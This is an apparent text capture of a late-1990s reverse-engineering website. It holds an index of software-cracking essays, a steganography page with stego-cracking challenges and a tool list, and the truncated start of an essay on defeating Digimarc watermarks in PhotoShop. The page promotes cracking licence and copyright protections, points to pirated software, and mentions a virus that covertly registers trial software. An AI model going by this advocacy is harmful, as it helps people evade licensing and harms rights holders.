Bie bie dongles, how to code effectively in
paper! "Software warriors through the warp" (+HCU papers) ~ reality1.htm:
windoze and how empty we all are
IcE's "Reversing Reality, a first stab", a reality cracking small essay
how to search A new (tenth) lesson by your +truly! (light version) ~ ideale.htm:
Crackers against commercial smut section: smutemai.htm A polite conversation
between a commercial smutsites nuker and a commercial smutsite owner ~
25 May 1998 sealight.htm The quick search engines page ~ searengi.htm revamped search
How to search... more antismut cracking...
engines page ~ winasm_1.htm: Masta's The resurrection of assembly
programming - Essay nr. 1 Intermediate ~ links.htm: revamped links page ~
botstart.htm: Fravia's bot trapping and agent reversing page, add ons
rude45.htm: The RudeBoy's Reversing Packed Targets, an exercise in reversing
for reversing's sake Intermediate ~ javascript wars: advanced javascript page:
fravia's A sticky nice little trick Intermediate ~ tek1.htm Tek's Palmpilot
21 May 1998
reversing: Experience a brand new taste in cracking Intermediate ~
How to search... a nice paper... a taste of
saruma1.htm: Saruman's great The Penetration of CyberSitter'97 (deserved
Hawaii...
death of a pathetical censorware) Intermediate ~ hutquest.htm SLH's THE
QUEST: Building the launch pad (+HCU papers) ~ Goth's sales1.htm:
SalesAgent 3.0: Rsagnt32.dll, TurnKey and Me Useful for programmers!
botstart.htm: Fravia's BOT TRAPPING AND BOT WARS, a first attempt to trap
web robots in order to reverse them... THE FIRST FOUR ESSAYS: Must read
section for all web warriors ~ student.htm: has been DISCONTINUED, and will
16 May 1998
not be updated in the near future, redirect to aca300.htm important ~
A new "bot" section, various essays (and
prophe_1.htm: Prophecy's BEGINNERS: An introduction to code generation
the last BEGINNERS essay)...
routines: reversing Teleport Pro v1.29 the LAST beginners' essay on my site ~
hutch_61.htm: SLH's The Bridge: In Pursuit Of Lost Knowledge The
programmer... has no option but to go lower level Must read
crlvent7.htm: JaZZ's Corel Ventura 7 trial: Crack it the hard way Advanced ~
11 May 1998
HCU papers: iceext1.htm: Iceman's "Extending Softice serie"
Two advanced essays! (and my daughter's
fifth birthday :-) ("Zauberreversing"): Extending NuMega's SoftIce for Windows 95 using
Protected Mode Debugger services API Advanced
searengi.htm: updated ~ reanews.htm Reality cracking "news": +Atheist has
started a new (interesting) subsection of my page... contributions are welcomed
~ rudebo21.htm: Rudeboy's Four "atomic" cracking approaches! Intermediate ~
ether1.htm: Ether's BEGINNERS, the PSP protection again Beginners ~
marycri1.htm: Marigold's Instant removing of CrypKey (together with a lock)
Unwrapping the wrapped Intermediate/advanced ~ winasm_0.htm: Masta's The
8 May 1998 resurrection of assembly programming - Essay nr. 0 Intermediate ~ hutch1.htm:
A new subsection, nice and important SLH's Future Vision: The supression and resurrection of assembler
essays... And our new Visual Assembler! programming Recent programming history cracking for crackers! Must read
The +HCU is hiring c and asm coders for our new "Vis ual assembler" project,
which is florishing thank to +Mammon and the mighty help of +ReZiDeNt!,
have a look and collaborate!
e-mail +Mammon
(Mammon_(at)hotmail(point)com)
THCU99.htm: Master +Aesculapius' strainer, a beautiful set of challenges for
intermediate and advanced crackers and protectors!
rezide7z.htm: +Rezident's Reverse Engineering a Compressed Target (Phase I)
5 May 1998 Intermediate ~ marigbox.htm: Marigold's Opening a Vbox full of worms:
Advanced and intermediate readings! The PreviewParadise lost Advanced ~ ind_tra1.htm: +Indian_Trail's BEGINNERS:
1999 strainer! Pluckit 3.0 Hip Hip Hurray for Smartcheck (how to fish a serial number from
any Visual Basic program) Beginners ~ casmw652.htm: Shaman's How to crack
an hardcore dongle-protected program Advanced ~ littlejo1.htm: Little John's
Visual Basic Unprotection (Programmers: don't protect with visual basic!)
rezel1.htm: ReZeL's BEGINNERS: A correction/addition to RudeBoy's essay
Beginners ~ hs2l_22.htm: Hs2L's Web Browser emulation (Letting web pages
get less info about you) Intermediate ~ origin_1.htm: MML's Cracking
3 May 1998 MicroCal Origin 5.0 in 3 Simple Ways (a crippled targets project) Intermediate
more essays, more additions/corrections ~ dynam_1.htm: +dynamite's BEGINNERS: Why should we crack a program
that DOES NOT CHANGE if you register it? Beginners ~ sandma1.htm
Sandman's How to crack ANY program that uses the TL32V2.DLL! (Numega's
own project 2 an addition to Harwi's essay) Intermediate
Devious javascript page how to land in devious the easy way, by Roady & Two
Paths To Success by JimBob & FravBecca by Gabtis ~ Omar's List of Free Page
08 Mar 1998 Providers ~ Bram van Dartel's List of free page providers, free CGI scripts and
Java and freepages whatever ~ Advanced javascript page: javascript password brutecracker by
Roady ~ awards.htm: updated ~ dukeess.htm: Inside the VB3 .EXE (tokens and
other marvels) Intermediate
Advanced Steganography page: Steganos, The Duke of Earl, and The Dancing
Men by Joe Peschel ~ madlas1.htm: Dongle Dejavu, by MaD ~ zee_inst.htm:
04 Mar 1998 Zeezee's Decompiling InstallShield scripts and guidelines for decompiler
Stego, cracking and the good old dos times writers ~ madmasu.htm: madmax! Cracking using KERNEL32.DLL Advanced
~ oldiegoo.htm: FootSteps' Oldies but Goodies ~ entra.htm revamped ~
Javascript: an easier entrance to the 'devious' javascript page!
Advanced Javascript page: Ken's mighty tool for javascript password reversing.
Advanced ~ Javascript 'devious' page: Azazel's solution: reaching the protected
01 Mar 1998
part Advanced ~ Our protections: Master +Aesculapius' response to Jack of
Advanced Javascript, searching and
Shadows Useful for protectors! ~ Surreal5's advanced searching: Two snippets
protecting
Advanced ~ siulinux.htm: SiuL+Hacky's reversing Linux: the chances
Advanced
Advanced 'devious' javascript page: Jack of Shadows's "Devious snippets:
Collection of different approaches" Advanced ~ Zeezee's InstallShield scripts (1
of 2)... compiler DLL ~ snippets.htm: The_Gimp's MORE DOS4GW STUFF:
28 Feb 1998
CD ROM / 3DFX Cracking ~ Our protections: Jack of Shadows's "Reversing
Allerlei
+Aesculapius: A complete explanation of a very good assembler protection"
Advanced/Expert ~ advanced.htm: The Owl: beta release 3 of the winice
dumper Expert
Our tools: Natzgul's "wisdec" (Installshield decompiler) Expert ~ Our
protections: Master +Aesculapius' 100% assembly 'future generation' protection
26 Feb 1998
Expert ~ Hs2L's smartc_2.htm: An example of VB Cracking using SmartCheck
Expert cracking
~ links.htm Some links updated and added ~ bayu_2.htm: Undocumented HASP
- part I, by -bajunny Expert
How to search: Surreal5's search tips (introduction and first lesson) Advanced ~
How to search: Cassandra's fetcher and Cassandra's stalker Advanced ~
24 Feb 1998
Surreal5's search tips: (second lesson) Advanced ~ Surreal5's search tips: (third
Searching, the sublime art
lesson) Advanced ~ Advanced Javascript page: Jack of Shadows'Know Thy
Language! Advanced
Advanced ("devious") javascript page: How to land in devious by Peter Papazov
21 Feb 1998 Advanced ~ reality cracking: Fond manager cracking, by Curious George and
javascript, dongles and reality Maxine+ ~ Jack of Shadows: Dongles are NOT dead! (programmers: use them!)
Useful for protectors!
what_new introduced ~ Advanced Javascript page: Thru the Java Door by
WeLuv Advanced ~ +HCU trainers and contests: links.htm: gettysburg
cracking: a complete version "scn" file! Intermediate ~ Advanced Javascript
19 Feb 1998
page: The 'easy' javascript entrance: A recursive approach, by SPLiCE
javascript galore!
Advanced ~ Javascript entrance: New advanced page (javdevio.htm: targeted
access) Advanced ~ Javascript entrance: new stupid password protection for
beginners (j_ridcul.htm) Beginners
1997
- 12 Oct: Page reopens after 15 days freeze (and gets 3000 hits
per day :-)
- 13 Oct: academy.htm: academy database partitioned!
- 27 Oct: rules.htm: please read the "rules" for submitting
essays! s
- 28 Oct: snippets.htm: new section: snippets
- 29 Oct: newuni.htm: +ORC alive and kicking :-)
- 04 Nov: sear1197.htm: how to search, a new lesson: combing and
klebing
- 08 Nov: noanon.htm#anchoranoaca: Fravia's Anonymity Academy
- 09 Nov: tekles1.htm: Cracking for dummies 1: "Birth of a
cracker"
- 13 Nov: progcor.htm: The 'shareware programmer' corner
- 25 Nov: migrating to http://fravia.org
- 27 Nov: ideale.htm: new CGI-script reversing page (ideale4.htm)
- 28 Nov: protecti.htm: New tough protection by +Rcg
- 29 Nov: wlcmaz.htm: New Database (Cracking The Maze Of Essays At
fravia+ Web Site)
- 05 Dic: netles2.htm: Cracking for dummies 2: "The difficult
years"
- 07 Dic: javascri.htm: Javascript section started
- 14 Dic: flipvb1.htm: some answer to flipper's "tough" visual
basic protection
- 16 Dic: corporate.htm and noanon.htm revamped
- 22 Dic: stego.htm: basic (and may be advanced) steganography!
Merry
Xmas (or
Hanoucca,
or
whatever)
to all my
Ivan Bilibin: Tsar Saltan hears the three sisters' whispers readers!
An interesting
'present' for all
my readers
(see below)
I thought and thought and thought, looking at the pale moon in the dusk, rising above the eastern shadows (that's the
moment of the day I love the best, it can be so long and silent in the far north), and then I decided to give you once more a
snippet of history as Xmas present... we are crackers, after all, and we have a proud long history behind us, that anyone
should study and know... why should the old name of Killefitt be forgotten?
A present for my readers: a milestone from the great HISTORY of cracking, the old (1990) stunts by Mindscape (1136513
bytes), cracked by Killefitt from 'Red sector' (DEFJAM) many many years ago.
Disclaimer: This old game has been published on so many 'nostalgia' magazines' CD-covers that is now considered
'abandonedware', so I don't believe that anyone will take offence in this (as you know, I don't publish neither ready made
cracks nor warez whatsoever on my site).
If you like this obsolete game and if you would like to keep it on your harddisk after having studied the crack and the
protection scheme, ask permission from Mindscape, they will surely accord it to you. I have decided to publish this for
educational/historical purposes, what is important here is the reversing approach and solution, not the old game per se. The
interest is due to te fact that the ancient crack approach (Killefitt has disappeared long ago from the scene) used to disable the
old 'book-reference' dos protection scheme was quite ingenious and has some interest even now.
"Good old mad fravia+ Even his Xmas' presents contribute to educate people!"
Alison Kinby, 1997
Of course at Xmas there are also 'bad' presents for all naughty boys... therefore...
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
bilibin's red
knight
FRAVIA'S STEGANOGRAPHY
(STARTING PAGE)
Updated September 1998
Well I remember a beautiful essay by Frog's print about something related with steganography: Watermarking of digital
images, here it is: PhotoShop 4.0 / Digimarc Commercial stupidity - Digimarc downfall where you'll be able to see
how easy it is to reverse some 'very heavy' (and expensive) watermarking commercial applications, like Digimarc. If you
are interested in Watermarking problems, you'll find on the web watermarking tools and tools to 'unwatermark' images
(like Unzign and Stirmark).
Morale: keep your sensitive data ON THE WEB somewhere where nobody
in his right mind would ever look, nor understand them even if he did
(say steganographed inside the dull images of a bogus page like "me
and my little dog Barkie" :-) they will be MUCH more safe there than
inside your own harddisk!
...that I realized that many among my readers don't even know the most elementary basic of hiding (and/or retrieving
hidden) data on the web and elsewhere...
Yet hiding (and retrieving hidden :-) data is a VITAL question, on the web and in life, when so many people are
continuously (and increasingly) trying to get their hands on your money/convinctions/future through your data, using all
known tricks of the books (and some less known ones as well, as +ORC explains in his slaves of the supermarkets
famous essay... btw there are some passages about steganography itself in his "6" lessons, if I'm not mistaken)
So, dear reader, just do what you're supposed to do anyway: READ! In fact I believe you better read and head the
following, and then start your own studies on this matter as soon as you'll be able to.
Unfortunately, for once, this time I will and cannot explain too much publicly (because I'm actually using myself quite a
lot of the tricks I have to describe) yet I want to explain everything nevertheless: the whole idea of my site is that
knowledge should be passed on to anybody who cares... but i need a 'sieve' in order to see if you really care... I have
taken the idea from +ORC's famous gates, and it works!.
Hope you'll understand me: lamers and leechers must be kept somehow away, at least for a little while, else they will
immediately start using the same tricks 'en masse' for some stupid purpose and spoil the game for me and all other real
+crackers around.
So this page is and will remain only a 'start' platform. Don't be deceived! You'll get on this very page enough
information to make you happy, and you will be able to deepen it and work on it at leisure (and this page will be
updated, and you'll always find a lot here)... yet you WILL NOT get to the advanced steganography page, unless you
crack the BMP and GIF images that you'll find on this page.
Yes. You won't be able to go further without having studied (at least a little), +ORC's tutorial and his students' essays, in
other words: you need to know (at least a little) how to reverse engineer software in order to understand many other
aspects of the web, inter alia steganography (but I think you'll be thankful that you did learn our techniques: I reckon that
this is more and more useful regarding life in general as well... without reverse engineering knowledge you are only a
Guinea pig for the commercial slaughtering powers of our disgusting society). So let's start cracking, and working, and
getting onwards...
Let's not forget what +ORC wrote:
"...I need your knowledge as much as you need mine, so build some and start contributing..."
right so! And this applies here as well, you'll therefore have to perform some 'applied steganographical cracking':
An easy first step (I will use as 'bait' some secret locations on the web) where you'll have to crack either the algos used
by CONTRABAND (version 9g) for BMPs images or those used by Hide and seek (version 4.1) for GIF's images.
A less easy second step (I will use as 'bait' the location of the 'advanced steganography page'). Here you'll have to crack
the algos used for BMP files by Steganos for windows 95 (version 1.0a).
Ah yes, a last thing: as images I'll use only Tamara de Lempicka's pictures... you may not be excused for not knowing
her paintings and this will remind you that there are other things to reverse in life (like culture, duh :-)
The word steganography is derived from greek and means "coverted writing", from stegein, to cover... the same root as
in Stegosaur, a quadrupedal, herbivorous ornithiscian dinosauar of Jurassic films and early Cretaceous times, well known
for being quite 'covered' through an armor of triangular bony plates on his back spine.
Steganography is the art (and science) of communicating hiding THE EXISTENCE of communication, in contrast with
cryptography. Ideally, your enemies, or the one you are fighting against, or even your friends, should not even imagine
that there IS a message concealed somewhere.
This very characteristic makes steganography the IDEAL science for hiding messages on the web, which is flooded by
non-significant data. Your whole passwords and everything you need can without any problem be hidden inside three or
four 'fake' pages you'll have uploaded somewhere, with images like 'my sister Sally and his favourite banana fishes' or
whatever.
You will download all fake images from the web (geocities page are a never ending source of incredibly dull lifes and
fotographies :-), you will MODIFY them (the greatest risk for steganography is the confrontration between 'original'
image without concealed message and steganated image with message, of course), and only after these modifications you
will hide your concealed message inside them with one of the many programs that you'll find around.
Basically, using steganography, you can smuggle any file(s) over any communication-line (BBS, network, modem,
diskmail, etc.) in a format which leaves the smuggled data untraceable and unreadable.
Here you have a link to my own copy of a BMP graphic format stegonograpical utility: CONTRABAND (version 9g,
by Hens Zimmerman and Julius Thyssen... their web location is: http://www.GalaxyCorp.com/009 or, alternatively,
http://come.to/us. It's freeware, so there is nothing to crack. In my own copy you'll find also THE COMPLETE
SOURCE CODE (in Borland C++ 4,5) of Contraband, which may be of interest for you.
Here you have a link to my own copy of a GIF graphic format stegonograpical utility: Hide and Seek (version 4.1), by
colin maroney. It's freeware, so there is nothing to crack. In my own copy you'll find also THE COMPLETE SOURCE
CODE (in Borland C++ 3.1) of Hide and Seek, which may be of interest for you. In general I love working with
programs (and onto programs) I have the source code of. In fact, I like it so much that if I really use a program and do
not have the source code I re-create it myself reversing the whole bazaar, or at least the parts I need or fancy to change...
I'm sure therefore that you'll appreciate the presence of the source code for BOTH programs, this will allow you to delve
pretty deep inside all mysteries and vagaries of our applied and advanced stegonography.
You may find A LOT more UNIX source code here
Here you have two zipped bmp(s) images with a famous picture from Tamara de Lempicka: Andromeda. You may
download the original andromeda and the stegonated andromeda.
~
the original Andromeda and the 'stegonated' Andromeda
. This time you have the two GIF images above, and the same file as above (587 bytes long) has been hidden inside the
'stegonated' GIF using hide and seek version 4.1.
I used a very short and easy to crack (4 numbers) encryption key (the same used for the 'contraband' bmp(s) above, by
the way), so it's a very easy brute force attack, yet you can crack this in a more 'zen' way, as you'll see, later, when you
Well... crack this one instead of the previous one, if you prefer :-)
Come on... you should manage it... and anyway I believe you'll find it a worthy approach to steganographycal cracking!
Inside the steganographed images above you'll NOT find as an added bonus the location of my 'advanced steganography
academy' pages, which are NOT linked from my 'common' sites, nor dwell on this server. You'll find some 'secret' files,
tough, as I said, and you'll find it relatively EASY to crack. In order to reach my advanced steganography pages you'll
have to crack the two BMP pictures at the BOTTOM of this page.
See you there!
Additional Information
WARNING: The following has been pilfered from a VERY GOOD PAGE:
http://members.iquest.net/~mrmil/stego.html
I'll slowly modify and add links here as time goes by, for the following information you
should not thank me, but Eric's Milbrandt Home Page
(hope Eric wont mind)
Steganography Downloads
Windows
Hide and Seek for Win95 (96k) __NEW__
Hide and Seek for Windows 95 is a BMP-based steganography program by Colin Moroney, the author of the dos
versions of Hide and Seek. This version is a considerable step up from his previous efforts. Its
professional-looking interface makes it easy to use. The file wiping options and blowfish header encryption
method are added bonuses. Unfortunately, downloads are ITAR restricted, however, a 40-bit key version is
available for international downloads.
Steganos for Win95 (1085k) __NEW__
Steganos for Windows 95, by Deus Ex Machina Communications, is an easy to use, yet powerful wizard style
program to encrypt files and hide them within BMP, DIB, VOC, WAV, ASCII, and HTML files. A significant
improvement over the DOS version, Steganos for Win95 even contains its own Shredder, a program which
permanently wipes files from your hard disk. There is also a German version. With all of the new features and
added functionality, Steganos for Win95 is a serious contender.
S-Tools4 (272k) (alternative site) (alternative site)
S-Tools v4 is an excellent Win 95/NT based steganography tool that hides files in BMP, GIF, and WAV files. It
will not run with Win 3.1. S-Tools v4 has a number of new improvements over the previous version.
S-Tools3 (283k) (alternative site)
An excellent Windows based steganography tool. Hides files in BMP, GIF, WAV, and unused space on floppies!
Contraband (281k) __NEW__
Windows-based program which embeds and extracts any thinkable file into 24-bit BMP's. Includes source code.
PGPn123 (428k)
PGPn123 is primarily a pgp "windows clipboard" shell program that makes using pgp for Eudora, Agent, or
Pegasus Mail very easy. The latest version includes a steganography option that is implemented after the message
is pgp encrypted. The algorithm is based on the Texto program, making encrypted text files look like something
between mad libs and bad poetry.
Scytale (575k) __NEW__
Scytale is a pgp shell program that has the added feature of hiding data in PCX images. Other strengths of the
program include a built-in wiper and batch mode capabilities.
DOS
JSteg (462k) __NEW__
JSteg, by Derek Upham, is currently the only DOS program available for hiding data within the popular JPG
format. Prior to hiding data in a JPG file, you will need to save that file in the TGA (targa) format. After the data is
stego'd into the image, the resulting output file will be in the JPG format, with all of the compression advantages
that JPG entails. Previously only available for Unix, Preston Wilson and Randall Williams have been kind enough
to compile this DOS version for your stego pleasure. It requires this support file (40k) placed in your path.
Texto (59k) __NEW__
Texto is a text steganography program which transforms uuencoded or PGP ascii-armoured data into English
sentences. Texto text files look like something between mad libs and bad poetry. This is the only DOS
implementation of the Unix source code and is compiled courtesy of Preston Wilson. It requires this support file
(40k) placed in your path. Be sure to visit the online demo page!
GZSteg (346k) __NEW__
GZSteg hides data in GZip compressed files. It was compiled for DOS by Preston Wilson and requires this support
file (40k) placed in your path.
Hide4PGP v1.1 (70k)
Hide4PGP v1.1 by Heinz Repp is a steganographic program that hides data within BMP, WAV, and VOC files. It
is designed to be used with both PGP and Stealth, but also works well as a stand-alone program. Hide4PGP now
comes in both DOS and OS/2 executables. The source is also included and should compile on any platform
without major problems. Also new to this version, you now can use any number of least significant bits (up to
eight) to hide your data.
Steganos v1.4 (12k)
Steganos is a small, easy to use DOS based stego program by Fabian Hansmann that hides data inside BMP, VOC,
WAV and even ASCII files!
Pretty Good Envelope (25k)
Pretty Good Envelope (PGE) is a DOS based program that hides a message in another file by the very simple
method of appending the message to the file, and then appending a 4 byte little endian number which points to the
start of the message. A companion program UNPGE retrieves the message. PGE can be used with graphic files
(GIF and JPG) or any other binary files, including .COM and .EXE files.
Stealth (19k) (alternative site)
Stealth is a simple filter for PGP which strips off all identifying header information to leave only the encrypted
data in a format suitable for steganographic use. That is, the data can be hidden in images, audio files, text files,
CAD files, and/or any other file type that may contain random data, then sent to another person who can retrieve
the data from the file, attach headers, and PGP decrypt it.
Hide and Seek v4.1b (264k) (alternative site)
Data hiding/seeking using GIF image files. These DOS programs take data, usually text, including encrypted text,
and hide it in a GIF file.
Hide and Seek v5.0 (199k) (alternative site)
The latest version of Hide and Seek has been totally redesigned. It is still a DOS based program, but now includes
a user interface (no more command line operations) to hide info in GIF files.
Snow (27k) (alternative site)
Snow is a text-based stego program by Matthew Kwan that conceals messages in text files by appending tabs and
spaces on the end of lines. Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme. Snow includes a compression function to allow you to stego more information into a given
file and has some basic crypto functions via the ICE algorithm. Check out the homepage for DOS, Java, Java
applet, and source code versions.
FFEncode (12k)
FFEncode is an interesting little DOS program that "hides" a file in a text file by using a "morse code" of NULL
chararcters. Unpack the zip file and type FFENCODE or FFDECODE at the DOS prompt for the simple command
line parameters.
StegoDos (22k) (alternative site)
This DOS based picture encoder consists of a group of programs designed to let you capture a picture, encode a
message in it, and display it so that it may be captured again into another format with a third-party program, then
Java
EZStego Java
EZStego Java is from Romana Machado, the author of Stego for Mac. It reportedly has similar steganographic
functions as it's Mac-based predecessor, but is written in the platform independent Java language instead. It is
currently it is being tested in an online version, allowing you to stego images from your web browser! The author
plans to release the java code once the online testing is complete.
Snow (34k) __NEW__
Snow is a text-based stego program by Matther Kwan that conceals messages in text files by appending tabs and
spaces on the end of lines. Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme. Snow includes a compression function to allow you to stego more information into a given
file and has some basic crypto functions via the ICE algorithm. Be sure to download the Java sources and classes.
Also available as a Java applet.
Macintosh
Stego (266k)
Stego is a steganography tool that enables you to embed data in Macintosh PICT format files, without changing
the appearance or size of the PICT file. Thus, Stego can be used as an "envelope" to hide a previously encrypted
data file in a PICT file, making it much less likely to be detected (available as a binhexed StuffIt archive).
FatMacPGP 2.6.3
FatMacPGP 2.6.3 is the most recent version of MacPGP optimized for PowerMacs. It has a Stealth option which
strips off all identifying header information to leave only the encrypted data in a format suitable for
steganographic use.
Paranoid (80k) (alternative site) (65k)
Paranoid is primarily an encryption program that allows you to encrypt files with IDEA, triple DES, and an
algorithm written by the author Nathan Mariels. It is a steganography program in that it allows you to hide files in
sounds.
Amiga
Textego (41k)
Textego is based on the Texto program by Kevin Maher (with a few added improvements). It is a substitution
cipher that makes text files look like something between mad libs and bad poetry. The source code is available, as
is a homepage covering some of the highlights of the program. Be sure to visit the online demo page!
OS/2
Hide4PGP v1.1 (70k) __NEW__
Hide4PGP v1.1 by Heinz Repp is a steganographic program that hides data within BMP, WAV, and VOC files. It
is designed to be used with both PGP and Stealth, but also works well as a stand-alone program. Hide4PGP now
comes in both DOS and OS/2 executables. The source is also included and should compile on any platform
without major problems. Also new to this version, you now can use any number of least significant bits (up to
eight) to hide your data.
Texto (36k)
Texto is a text steganography program which transforms uuencoded or PGP ascii-armoured data into English
sentences. Texto text files look like something between mad libs and bad poetry, (although they do sometimes
contain deep cosmic truths) and should be close enough to normal english to get past simple-minded mail
scanners. Be sure to visit the online demo page!
Stealth (94k)
Stealth is a simple filter for PGP which strips off all identifying header information to leave only the encrypted
data in a format suitable for steganographic use. That is, the data can be hidden in images, audio files, text files,
CAD files, and/or any other file type that may contain random data, then sent to another person who can retrieve
the data from the file, attach headers, and PGP decrypt it.
Wnstorm (108k)
Wnstorm (White Noise Storm) is a cryptography and steganography software package which you can use to
encrypt and hide files within PCX images.
Source Code
(for the Unix users out there)
your stego.htm page - all I got are some zipped files, no URLs.
Will there ever be something like 'advanced steganography academy' pages?
And Fabian was not the only one (nor the first one :-) to have reacted immediately along these lines... OK, so I lied when
I published the first version of this page, back in 1997... in fact I put only the 'secret files' inside the stegonated
Andromeda picture, therefore you'll find no secret URL for an 'advanced steganography page' there (but I believe you
will enjoy some of those files nevertheless)... mea culpa: I was not quick enough, and pleasingly surprised by your fast
answers!!
The (not at all sad :-) fact is that (many among) my readers are TOO QUICK! You already cracked everything before I
had a chance to prepare 'as it should' my 'advanced steganography page... yet that page begins to be ready now. So
you'll now be able to start roaming using that "coveted" URL.
But, since it was such an easy cracking, with my 'Andromedas' above, I'll push up the ante! You will have to work a little
more (do not complain! You are all here for the sake of cracking, aren't you?)
Here follows ANOTHER couple of a Tamara de Lempicka's picture, original and stegonated, in BMP format (zipped of
course). I have enclosed the URL of my advanced page inside the stegonated one.
This time I have used Fabian's program itself: Steganos for Windows 95, that you'll be able to download at his URL
(given in the letter above), or else here (1085k).
Now crack it and find the 'advanced URL', where you'll find some of the solutions essays I have received (+ReZiDeNt's
lazy brute force approach, zeezee's "source code reversing", Massimiliano's "anticontraband" own utility and a small
essay by Fabian himself, the author of Steganos, plus a very interesting complete essay by Flynn; more recently Gary
Benson's "Unconventional access", with a clever exalination of Hide and Seek weak points)
You'll find BELOW two images (corresponding to the GIF above: portrait of Suzy Solidor,
painted by Tamara in 1933) in zipped BMP format, the one that I have 'stegonated' (through
Fabian's Steganos ver. 1.0a) carries 'inside' the URL of my "advanced steganography" page
(which is under construction, yet already exist :-)
You may download here the original picture by Tamara de Lempicka (9282 bytes),
and here the stegonated one with the hidden URL inside (8914 bytes).
New_year's_add_on_help
Should the server given in the hidden URL not answer, (could happen, particularly during holydays) there is another
server of mine with the SAME name_you_have_to_find.htm advanced steganography page, a 'second copy' that is, so
you may as well access it there... once you find the name and have learned how to finger and NSLookup servers, an
important and easy technique which you should master anyway)
I'll offer another run -this time in gif format- to the reversing capable among my readers: Here you have two copies of
another famous picture by Tamara de Lempicka:
This time you have the two GIF images above, and the same text file as above (36 bytes long) has been hidden inside the
'stegonated' GIF using s-tools 4, by Andy Brown may be the best of the tools around. You can download it right HERE
on my site.
I used the same key used for the 'steganos' bmp(s) above, by the way), so it's up to you how to devise an attack, you can
crack this in a more 'zen' way, as you'll see.
Inside adva.txt, if you ever reverse it 'out' of the GIF image, you'll find the URL of the advanced steganography page
OK, OK, so you find this too difficult, yet I want you to be able to crack s-tools algos as well and not only steganos...
so... here once more two SMALL images, in gif format: the same 36 bytes long adva.txt file is hidden inside, the same 8
characters password has been used, the option chosen have been, once more, IDEA and attempt to lower number of
colours... well, I think you should have enough data now... crack!
~
the original asleep girl's hand and the 'stegonated' one.
Well... crack this one instead of the previous one, if you prefer :-)
Of course to reach the advanced page is not very important if you do not contribute to it as well... if you send to me your
own reversing approach, once you have reached that page, I'll publish it -there- with the other ones (see below). Choose
whatever handle you prefer, send anonymously and without a return email address only if you really find you should)
Joe Peschel's Steganos, The Duke of Earl, and The Dancing Men
("Cracking the T_tamra7.bmp")
04 March 1998
Edi's work
("I had to reverse engineer steganos again, on my own")
26 March 1998
Gary Benson's Unconventional Access: My way into the Advanced Steganography pages
(Steganos Key Relief (Reducing the key search burden))
23 September 1998
cracking virus -antibil7.com- that registers Micro$oft's timelimited targets WITHOUT NOTICING the owner of the PCs
where these targets are found :-)
So Fabian's idea can be implemented if needs be, moreover we will of course begin ourselves, during 1998, to 'deepen'
(in a reversing sense) our knowledge of the whole steganographical existing bazaar... and I'm happy that we'll work
hand in hand with steganographical experts (and nette Leute) like Fabian (and maybe other Authors as well as it seems).
Another hint
Here you have as teaser a 'light' version of Jean Flynn's essay (that you will find complete on the advanced page): A
Journey within Steganos, you should be able to figure out the advanced page entrance reading this... that is, if you work
a little :-)
by Frog's Prin+
by Frog's Print
This essay comes in 2 parts because I first worked on it as an usual essay but,
when trying to work deeper on it (and trying to verify the authors' credibility about
their protection) it soon turned out to be another great exemple of the stupidity
of moneymakers protectionists (BTW: NEVER trust them!)
You probably know PhotoShop 4.0 (or at least have heard about this tool) but may be
DigiMarc
(or WaterMark, PictureMarc...) doesn't mean anything to you.
So, here is a little explaination of the Digimarc Technology from its authors:
Digimarc Technology:
Digimarc Corporation has introduced an exciting, groundbreaking technology that will
affect
markets from Hollywood to the Web, from magazines to multimedia.
Digimarc's digital watermark technology today brings to still images - and soon to
video,
film and audio - the ability to instantly, silently and imperceptibly convey
persistent
information, such as copyright information and ownership.
Digimarc's technology embeds digital data within digital and analog content so that
photographic images, illustrations, graphics, video, movies, and audio can carry
information
Digimarc products work in concert with leading image editing and browsing tools.
Using such tools, an image owner can embed an imperceptible watermark within an
image.
Each time a watermarked image is opened within these tools, the watermark is detected
and
the user informed of the image copyright. Adobe and Corel are the first to bundle
Digimarc
products within their tools, making our watermark technology available to hundreds of
thousands
of the world's top photographers, designers, illustrators, and publishers.
There is a Frequently Asked Questions document, as well as other product and company
information available from Digimarc's Web site at http://www.digimarc.com.
Sometimes present:
-Organization ID: link to another profile corresponding to the organization
representing
the photo (agency, museum...).
-Image ID : number identifying the image (catalog number...).
-Transaction ID : used to track specific licensing transactions.
Those informations are stored inside the image using a digital code added as noise to
the images lightness channel : the watermark.
To READ the Digimarc you'll need either a specific tool like ReadMarc (FREE soft
available
at the above mentioned URL) or image editors like PhotoShop 4.0 (available everywhere
on
the Net if you know how to search...) or even some Corel tools (C.Draw 7,
C.Photo-Paint 7).
To ADD a Digimark to a image, you'll need PictureMarc that is included in those tools
, except
ReadMarc as it ONLY reads the Digimarks (as its name says).
Good Frog's Print, that sounds nice but what the hell are we supposed to crack??
Well, let's have a final look at the Digimarc info:
Within tools that include PictureMarc, run the "Embed watermark" component of
PictureMarc.
Click the "Personalize" button to open the register dialog. If you are connected to
the Internet, click the "register" button to launch your browser and access the
MarcCentre
registration page. You can also register over the phone by calling one of the
numbers at
the bottom of the registration window, or by going to the Web address listed.
There is a nominal annual fee for subscribing to MarcCentre. For current pricing and
special
offers, visit the registration page, or go to http://www.digimarc.com.
Got it?
As usual, in our $ociety, Creation is assimilated to Money... That means that if you
stop
being a moron or a stupid slave and try to do or create something (without even
thinking
about money) they will charge you for this, with the pretext of "protecting" or
"helping" you and your rights (if you still believe you may have any left).
What do we need?
PhotoShop 4.0 (Corel Draw 7 and Corel Photo-Paint 7 could be cracked too but as
I don't have them and don't use them I don't know if the files needed are the same
- See below about that).
If you actually do create (or edit) any image, you already have this tool as it is
the best one (and, again, this 28Mb tool is everywhere on the Net...).
The only one is about the "Creator ID". As said above, it is a number identifying
the creator in the Digimarc database that can provide you with more infos about the
image creator (name, e-mail, fax number....). Though you'll be able to choose your
own ID number (from 1 to 2147483647) you will NOT be registered in this Database at
Digicom's Web site (since we are going to crack their program you may probably not
be willing to give them your name and fax number!). However, you could verify if your
ID number is not used by anyone else just by checking at Digicom's URL. If it is, you
could change it at any time. Except that, your image will be Watermarked
(copyrighted)
forever (we will include the "Type of Use" (Restricted/Royaltee Free) and the
"Adult Content" too as they must appear).
Let's go:
(If you use Corel Draw or Photo-Paint 7, you should have a PLUGINS/DIGIMARC directory
with
+/- similar files. If they are different, just follow this essay and you should be
able
to crack them without any problem.-:)
Run Photoshop, open any image (JPG, TIF...) and select FILTER/DIGIMARC/EMBED
